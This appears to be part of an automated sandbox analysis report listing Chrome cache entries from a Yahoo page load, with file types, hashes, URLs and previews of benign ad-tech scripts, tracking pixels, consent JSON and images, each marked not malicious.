URL:	https://service.idsync.analytics.yahoo.com/sp/v0/pixels?gdpr=false&euconsent=&us_privacy=1YNN&gpp=DBAA&gppSid=-1&referrer=https%3A%2F%2Fopus.analytics.yahoo.com%2Ftag%2Fopus-frame.html%3Freferrer%3Dhttps%3A%2F%2Fwww.yahoo.com%2F%26tbla_id%3D53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51%26gam_id%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26axids%3Dgam%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26dv360%3DeS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B%26ydsp%3Dy-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A%26gdpr%3Dfalse%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26us_privacy%3D1YNN%26reset_idsync%3D1
Preview:	{"pixels":[]}

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3385)
Category:	downloaded
Size (bytes):	209810
Entropy (8bit):	5.400795928684256
Encrypted:	false
SSDEEP:	3072:j/2dbK89R6x4DFpAjJrOrJrpKazavcslvXc5e+okilMo/GtZLi:L2VP6KkJUdpKEavfKe+okilMAGtZG
MD5:	E068333900A29A30663B3F9349635C8C
SHA1:	5989ECF1E6CB2A41694F864DFC9734E2E2D2447E
SHA-256:	DAAB8A66FAD84E54D32B62C10A996179C4D17EFC15FC7AA77A5927DBB6CD10A8
SHA-512:	9B86E83F360B09FADEF5BF109967F3393D6C5593EE781339311FA1EC393ADB5E39DBA1901864AE23DA51F15474952EC87EE5B5FE8A1196207998B43284A6CA8F
Malicious:	false
Reputation:	low
URL:	https://www.googletagservices.com/activeview/js/current/ufs_web_display.js?cache=r20110914
Preview:	(function(){var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");},da=.ca(this),p=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.p("Symbol",function(a){if(a)return a;var b=function(f,g){this.Jg=f;ba(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=function(){return this.Jg};var c="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=function(f){if(this instanceof e

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 536x284, components 3
Category:	dropped
Size (bytes):	43994
Entropy (8bit):	7.975365906524564
Encrypted:	false
SSDEEP:	768:hmccbIhbHhmJ2tYA9rIKdh0tgYgSh6egBmJ2IexkoG8xX:haIZBmvK7/CgVSl64KkVqX
MD5:	0CD994F99FB3114362B8DE985FCD7107
SHA1:	5FB5FD9E1BFE8DEBE69F5FB8451D7BA781EC3D05
SHA-256:	121EE716784F52B44CE8119026E47DAA4D8CA4A8BF4864E1A5D9275A79C7FE46
SHA-512:	6820958E31D832778703FFD05BA631D106CDA71D104884820730C58AA487634CACCB8C37C9CCE2C8EDAFD0A482055464FBACB55E9742A11EF095E7A116E5714F
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C......................................................................................................................O..........................!1..A"Qaq...2..#B...3Rbr..$C......%...4S...5Dcs.d...................................1.......................!1..A..."Q.#23.a$BCRSq..............?...............m..D1..,..\|b..... R.s.QL..u...JH7"!a..!../mb.5..x.S..@..-...5.@.X.5e.z.8.X.~TJ...\.H..XB......PR......?c$...#c.L..0[....W..-....q>RD.2.&\O.....9L.P...8....kgPM..Rf.G...S%O..heKl!6....k..-.Z.H.#_".8.....E.....h.PjS..K.N.2..y.$.Qa M..a.&(....A.....0o.e..\Z........6: ..XW..(m.-a.@..,!.J..[P.~B....d1.J.S.C.......ueX.5.......Ek....m. ....8...'cx....F..m[..".PI.....B..-7...V....n\....&GCY...{.}+R.!.c..k./..W.&.=O.ivA......C..S..66-. y..#.....6..l...s.,.~ ..&\M8.....H...C..K.=S...\.M.r.is#...q.x..K.....\|"..\|$..%.[..3....(.m.\|........._0..+.j...8....5R...G....=.....32)B........

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 536x284, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	10232
Entropy (8bit):	7.982402094708554
Encrypted:	false
SSDEEP:	192:Tomt3vet1tMZ0R8gyMLjSk8617fCYfz4blrX0Tjn0P4:TveHtRtpLjSkX1DCYfzKlb0Tj0P4
MD5:	31B465C47A64AA02FBD9E5095BBF215C
SHA1:	53231CE5CF2C9C33BE9FF8F7C3FD67794EDFBC82
SHA-256:	E9F53A8BBE046B682989B36308531F9B5CE3BC52076CCB00EB389A563FEBA431
SHA-512:	689C191969A0092C841FA2BDD9891E6244758A6FEB584762C1BB6F46202211703DD5A26083C5526B9D4D7637BE3433036BB5ACCD60B0C0B2BCF459DD64FFFC27
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/LVduRNN5Htm6KVA5NeoIkA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/f2b7229ea8bfdeacca21ad0593673f85.cf.webp
Preview:	RIFF.'..WEBPVP8 .'...........>y8.H...'..P..gm......4........p....u.-.C9..;)w...F/._P.$.......e....E...jU....%.........!..9V9...'q.hh..O...@ Z....D..)V......8.q8.ow..Z"H.$.r.\|.$!C..P...@..4PT..8...4....B.Ia..r.V.Ln..........~.h..b....w.....>...#.........<..rF(wy......8..-.6.>QV...=1...i..:.%T..9G\|..\|..L5...'.Q)....A.=.....G=../..H..Ac.....O...g.5w.<...\|4...g.?....f$S..3.....L@...dG.%.f/.q.0......l...W..i.7a......&..1`..t....D.+..\|~.+..6..=}..'.l#..T)...O_5~... ....\|..3AS.G..`t..n$gO.},.ni..3M9[...\"....,...g.r.....qs.s..]I[.7............:...3H.]e....E)....:..Br....[\uDUJ..{/N.v..U.c].;1L..u.u.......c.]y.\|...W........~..T.I.h..N.8..&.=v3'_.U..FZ..k....h........."d..N@.<Z..%.......G.y9...[i.....(.X...\|n..(m..E.W..s.(.dy....0..8[.f....vSG8".K..@e.+.tj..........:.{...La..4..t.H..,.B.N....E..@.\|..SW.6..N.....u...=.'`.D....g...4x{.;p._A.Me..W.&g.\|.i..X@. X."09e......i.P..,.!...AR..9%L.E...=...;z.4..k.....q....cJ.Z.!...~~M.s+.U]A..?

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 536x284, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	14256
Entropy (8bit):	7.988031994511615
Encrypted:	false
SSDEEP:	384:NEPTgtYMDHyt3xVApMbVdZOxJWVaGH5DX:mc9StBVSEcmd5DX
MD5:	E172EE9783EEEFD34D1026450862B6A3
SHA1:	8E98F0DB1E5D32736A5C7756E3AB09AEF272C195
SHA-256:	3C1ED3AF8E152B0D91CD8058D2C87AFADDAD0AF7880B4A198931FD07E5D95641
SHA-512:	3658B3A5A944D9828E74915B1316A2252F12B28E258A3F35E21DEA8976518E9CFEF5A6E5242376644BBBB68EE168CC1D574EBFCE00668EB1D024D8C7EE838642
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/8tjF7T4GR70djFWTwZRQYw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/people_218/6be7c0bb2afb25be1f85ac48c6a2959e.cf.webp
Preview:	RIFF.7..WEBPVP8 .7..P........>y6.H...&'......cn -................"."....r/....k..\|2....o.>.?......1......F>j...+.r....y............}...._.y.....=#....~~......N.j8;.~...x.......>.......#....~.>......%.....9..B3/..2.B".....8I..Y)..q2zfw{.2r...N..........U.....%o'd.k...m3.J.j..9....yL...E.x'..w.&.c...c-'...iz$.c..n..i4.[JI.tI.h&...sC..jN.sD...s._.....V:..G...NB`U/....n.Z.. .6{N;.k...XH. ...K...m.{.........u.V..A%{z..a...+..1).[.`.+.H6./...b.l.......!.:.......w...&.8.q..c:.\q.w.XM.RL2..#...O.^...."...l#..4..Y.,s....^..-.~.'.7.Q. .~7..d.>.[..).....a{..,t.)I8.HZ..i..Y.lY#.I.I...g.....8....$.J`D....`....(.. +..C...k-..(.c..cK.[....\|6g..;...t."..Z.<o..C....tH\%..........a.... m)4.m.....Xc.....P.........3D7Rj.....A.."..eZ(.. ..L.LOqNeE.xa..qgn..o.d.r..1.r...H!...............A..\...a..d....6.{.D...?..9..%W.2*.{.[......i..(zj.{r.c....x..t...........".<.....k....#).+Y.....z@{...=q5P.).u...d..y\G...H..s...+..Ro.....-.N.F.8j. ..\|....\|...sN.9.

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (33589), with LF, NEL line terminators
Category:	downloaded
Size (bytes):	58753
Entropy (8bit):	5.26167812703519
Encrypted:	false
SSDEEP:	768:y5B9KXqe7mdOgKY0hXpXVG8FoAKRXSdRKftld0VTScQI8rdFj8:EB9K6d8gghXnyXSuVld4z8Z6
MD5:	A9C11221224C7869C6B916618D892612
SHA1:	39C436EE6D2AFD6F851840AB4673C56CE0372D3E
SHA-256:	7B48A74FA0F94D83AE6D60C772F5E7AA66E7BE1B63CCF223CA14E34D3D7B0D22
SHA-512:	EA05BD1555D819AA35985D16EDA15F9A3805DA01F192156157739E30CE2A22D2888F8E4D1A2ED7A3FC2739CEF848B7EE882A5A628B3657E27AF979FE8F0EB09D
Malicious:	false
Reputation:	low
URL:	https://hbx.media.net/pubcid.php?itype=HB&cb=window.advBidxc.mnetCoRtusId
Preview:	try{ window.__mNPubCidCB = window.advBidxc.mnetCoRtusId ;/. This Source Code Form is subject to the terms of the Mozilla Public. * License, v. 2.0. If a copy of the MPL was not distributed with this file,. * You can obtain one at https://github.com/conversant/pubcid.js/blob/master/LICENSE. * Original github code https://github.com/conversant/pubcid.js. */.!function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"s

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12951), with no line terminators
Category:	downloaded
Size (bytes):	12951
Entropy (8bit):	5.166647975408898
Encrypted:	false
SSDEEP:	192:aSg4bSD/JgwGfZl9f3M7koTCjkGaWN6AqyfJx2oMI6lrEZlk63VL4N1O:abmSDBgtlECjkd9yPlFB
MD5:	5769A8D5D32FD009934F5B7B74BFFA2E
SHA1:	A286B1AB231A7D498296050D2D29ECB6D1C5BF99
SHA-256:	7C5BF1C17637F87D3C94A2FD2D57E9E5903CEFB4FC696FCD2CF4BB0087754B76
SHA-512:	33C27D28E2EA1D960BB8C19D8926072C21624589B97876F88484520C9E90389E16231C6D6E81D6E9D2452FDDD352E04D0B89032125F7FDFF9CFB65711D34480F
Malicious:	false
Reputation:	low
URL:	https://opus.analytics.yahoo.com/tag/opus.js
Preview:	!function(t){var n={};function e(c){if(n[c])return n[c].exports;var r=n[c]={i:c,l:!1,exports:{}};return t[c].call(r.exports,r,r.exports,e),r.l=!0,r.exports}e.m=t,e.c=n,e.d=function(t,n,c){e.o(t,n)\|\|Object.defineProperty(t,n,{configurable:!1,enumerable:!0,get:c})},e.n=function(t){var n=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(n,"a",n),n},e.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},e.p="",e(e.s=12)}([function(t,n,e){"use strict";var c=e(1);e.d(n,"h",function(){return c.e}),e.d(n,"o",function(){return c.i}),e.d(n,"c",function(){return c.b}),e.d(n,"d",function(){return c.c}),e.d(n,"i",function(){return c.f}),e.d(n,"p",function(){return c.j}),e.d(n,"k",function(){return c.g}),e.d(n,"g",function(){return c.d}),e.d(n,"n",function(){return c.h}),e.d(n,"b",function(){return c.a});var r=e(3);e.d(n,"a",function(){return r.a}),e.d(n,"l",function(){return r.b});var o=e(4);e.d(n,"j",function(){return o.a});var a=e(5);e.d(n,"e",function(){re

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13778), with no line terminators
Category:	downloaded
Size (bytes):	13778
Entropy (8bit):	5.2842901333678345
Encrypted:	false
SSDEEP:	384:/JwTpCNwszoTDPohnGZA3exQUqxL/wwBVi:elCNw/XoR4A3eePbi
MD5:	4443A60B3D3645610C9E65B7CC9F15BB
SHA1:	DE3A0B8509362B37FB40D74A9883F366D161A8B5
SHA-256:	F271BF73D0EEFE04F56CB6390E07D7D2A4794787283D65221397B258CEF040DF
SHA-512:	6134E0CE99CC2128F03FF38713B7A88617EA9C1518F01C6D56CD725673C0F58B58572E4744C6254868D98BE8EF9AF352BA0B724290EB35D182AA5F57381048B0
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-action-1.8.1-modern.js
Preview:	!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-action",[],e):"object"==typeof exports?exports["wafer-action"]=e():(t.wafer=t.wafer\|\|{},t.wafer.wafers=t.wafer.wafers\|\|{},t.wafer.wafers["wafer-action"]=e())}("undefined"!=typeof self?self:this,function(){return function(t){function e(a){if(r[a])return r[a].exports;var i=r[a]={i:a,l:!1,exports:{}};return t[a].call(i.exports,i,i.exports,e),i.l=!0,i.exports}var r={};return e.m=t,e.c=r,e.d=function(t,r,a){e.o(t,r)\|\|Object.defineProperty(t,r,{configurable:!1,enumerable:!0,get:a})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="https://s.yimg.com/aaq/wf/",e(e.s="./src/entry.js")}({"./src/entry.js":function(t,e,r){"use strict";function a(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,w

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
URL:	https://bcp.crwdcntrl.net/map/c=14701/tp=MTAI/tpid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4/gdpr=0/gdpr_consent=
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	140
Entropy (8bit):	4.64184934858056
Encrypted:	false
SSDEEP:	3:YMsw/TvLCuwxk8HHiJsMMg/eUtfYtlm2spn/Fx2VHfCkpHC+MZt:YMsw/TUPMMg/ptQoXn/Fx2t6mHqt
MD5:	1C786A05F18F37D3DDE7D10F5FB3AC9B
SHA1:	B496EA597E8465BAF9ABECE4371C45EE50159A78
SHA-256:	29BB093B255082951CE1E4423E7EF5E1D699B6E85B4C8B4DBC1F81987AE9792D
SHA-512:	A87411CEBA167B19382C3C591B5109C2598E55E10DECD3B08BD948B1F234E6A093454A769D2036BD7F278273042D187ED2E89962354326CF68E58C16CD7E74FC
Malicious:	false
Reputation:	low
URL:	https://guce.yahoo.com/v1/consentRecord?consentTypes=iab%2CiabCCPA%2Cgpp%2CgppSid
Preview:	{"identifier":"5uhb75dipu9ts","identifierType":"bid","tosRecords":{"nonEu":{"consentEvents":{"iabCCPA":"1YNN","gpp":"DBAA","gppSid":"-1"}}}}

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	48
Entropy (8bit):	5.168295834054492
Encrypted:	false
SSDEEP:	3:YEOBH6A0AQA/2qiQhKp4:YEOBJH11
MD5:	0070FCD9A46916ED3C6A9CCC890975BC
SHA1:	050539B883FC07E73D0B5D588670A299E9FA16D3
SHA-256:	2D6789C221FF1F5CA0123C53D091163E3C6C5993FEF8FA4AE6728159D6C1290A
SHA-512:	3C851EE3ADC525330C39B3ED41AF734DC39B6A3C409DE4056DB966429EDAED8705E86F9D4928C2349D1E43CF97FEE802C8143994A518203CD88C449AE8BEA24B
Malicious:	false
Reputation:	low
URL:	https://ups.analytics.yahoo.com/ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN
Preview:	{"axid": "y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A"}

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=rubicon&google_hm=YTE5NWE1N2Q3MmExN2FmNWY3MzBiODE2YjhmYjJiMWNhMDdjNGI4Mw&gdpr=0&us_privacy=1YNN
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.403590365002627
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tJ8/V+/B6dS8p:6v/lhPfA/UJ63p
MD5:	EDB2AA47631C67A43709D4CCD2501E33
SHA1:	87475B448C53CF32FFE78AB121DB8BAB41D478E0
SHA-256:	6019C3C9E47DC991F8D9937DEAFBB0740C2E61E321324798CB508773B0814824
SHA-512:	65820EEAF261F01988570AFE7866D9B83901950DFBD89542009A1FAAAE520E1AF2FA08789B7E94A64B0E1A3BDC39256354EFE1D38856621851DD65E80505DBB2
Malicious:	false
Reputation:	low
URL:	https://match.sharethrough.com/sync/v1?source_id=UiRtTsXAfjmfSDAKnR1FjWsu&source_user_id=LR8EUG12-1F-5JG4&gdpr=0&us_privacy=1YNN
Preview:	.PNG........IHDR.....................IDATx.c........o.......IEND.B`.

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1087
Entropy (8bit):	5.120392827929451
Encrypted:	false
SSDEEP:	24:tCbYLdLGSKGQlnGMGlTIqdhg1a4x0KKGSyFzWIS66AvIS6RAytgI:DJGSdQMH76k96gsK
MD5:	B182D19798F0D66CA701301E28C0034A
SHA1:	52C014BAA654A9E6B73CAC335FEFDB7B39B6B123
SHA-256:	804F7150640198DF0AAC95F7499EC183FFED8AB411CCF16C5D96D3D83A75E063
SHA-512:	238044791F93191D6899F784C114A4DC4F610A55BCA1BCCB75CDCC9A2799617ECB63C49546623AB20474EDCF6A38642708093E03EA32C39E77A190970B06E750
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/weather-svg/SHOWERS.svg
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <path d="M44 15.23c0 8.462-6.77 15.232-15.23 15.232H9.307C4.23 30.462 0 26.23 0 21.154s4.23-9.308 9.308-9.308c1.523 0 3.046.339 4.4 1.185C14.892 5.585 21.154 0 28.769 0 37.231 0 44 6.77 44 15.23z" id="b"/>. </defs>. <g fill="none" fill-rule="nonzero">. <g transform="translate(2 2)">. <use fill="url(#a)" xlink:href="#b"/>. <use fill-opacity=".05" fill="#7DCBFF" xlink:href="#b"/>. </g>. <path d="M35.914 42.972c-.612 2.255-2.858 3.485-4.9 2.87-2.244-.615-3.47-2.87-2.857-4.92C28.565 38.87 33.67 36 33.67 36s2.857 4.921 2.245 6.972zM21.914 42.972c-.612 2.255-2.858 3.485-4.9 2.87-2.244-.615-3.47-2.87-2.857-4.92C1

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/rum?cm_dsp_id=4&external_user_id=7302204774592217984
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	12346
Entropy (8bit):	7.9421195659190245
Encrypted:	false
SSDEEP:	192:fw9ftA5wDWVbP7zwpIhvCXUn03fM1m4Mcf8uPziTWa+kETuMuF/bUdkCb8Dv6U:fww5SibuX6UKDFf8uPaP+zYF/LC4j
MD5:	FF84789D6500281B8BCDF968C35D2202
SHA1:	0D63DF2C290A28846C2BC8A568091DB080CE862F
SHA-256:	F23466B073D82919ABED8832CFA205D144DA28782283448FBB269A776269DBE1
SHA-512:	D1335CA4ED23C972ED537C3A343E0DAC833091125CB861FF2498BA9A99F0291A20EB79232ED9FFA18F37DF7405CEF578EE616B22C430DF0BAD6074404065816A
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/74A7rwpEL9hbN4ZMvCarVw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/e626f1854c69d9a3bc93e631b399a4e6.cf.webp
Preview:	RIFF20..WEBPVP8X.... .........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6VP8 D...p........>y:.H....&.....M...5..8.........r>.._..7..x?..=Uy...#.....W...Q..]S...-_.......D.Ow..Wy$...f....f...Zo.....4....w.....(.,>.....$.E.....+._.n.h..v.9M.H@.Y6...Tm....;,.O?..9.lV....G......m..T.ge....%<.).\|G_.8.t.F...x .......V......G....^.U%...k.q..t...ifS..q.......t5......!.....:T..?.Zn'D...x./ ......-:.#k.....}..ITZQt.[P.....%... ....N............U5.,B..(uwQ...D.D.vj...._..sS..E.\y.?r].B...;%.O.jQH...-.........K....a!m........N.)...1.....T.e.{n.).....0.O

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4249), with no line terminators
Category:	downloaded
Size (bytes):	4249
Entropy (8bit):	5.242820679038457
Encrypted:	false
SSDEEP:	96:a6z95q7wimgV1H1BSaQg77uSy7hG1UrpsUtKkmxMtP7iCs5wqrtgfP7cujy/L4:a6x5Tg/C1cuS3W6kKpMtPeCPqrSfnjyk
MD5:	BCDA778B736C3A054AF62F437B536E78
SHA1:	08E2CDBD2D1CA160834B205D6748DC2CAB5FDD99
SHA-256:	892E2F5E07FEF6DE0428E4DCB284201B3D110C0A6F2D8EF899CD2CD2C61EB546
SHA-512:	A0D6449A03045E723D2F668898541625E36D7394E30327F5E89E1F0640F97A1A0268F500D89E804CD8DC8FBF395DBDFA71B429E89E737E3C2DAC7A2C196EA3A7
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/js/tdv2-wafer-utils.customErrorHandler.bcda778b736c3a054af62f437b536e78.js
Preview:	"use strict";function _typeof(e){return _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},_typeof(e)}!function(){var e,n,t,o,r=window,a=r.onerror,i=["apptype","rid","bucketId","bucket","device","osName","browserName","browserVersion"],c=/^resource:\/\//,s=/ActionScript\|Decompress\sfail/,f={beaconPath:"p.gif",site:"fp"},d=0,w=function(){var e=r.navigator&&(navigator.connection\|\|navigator.mozConnection\|\|navigator.webkitConnection)\|\|{};return{downlink:e.downlink\|\|"",downlinkMax:e.downlinkMax\|\|"",effectiveType:e.effectiveType\|\|"",rtt:e.rtt\|\|"",saveData:e.saveData\|\|"",type:e.type\|\|""}},u=function(){var e=r.YAHOO&&r.YAHOO.context\|\|r.Af&&r.Af.context\|\|{},n="";return 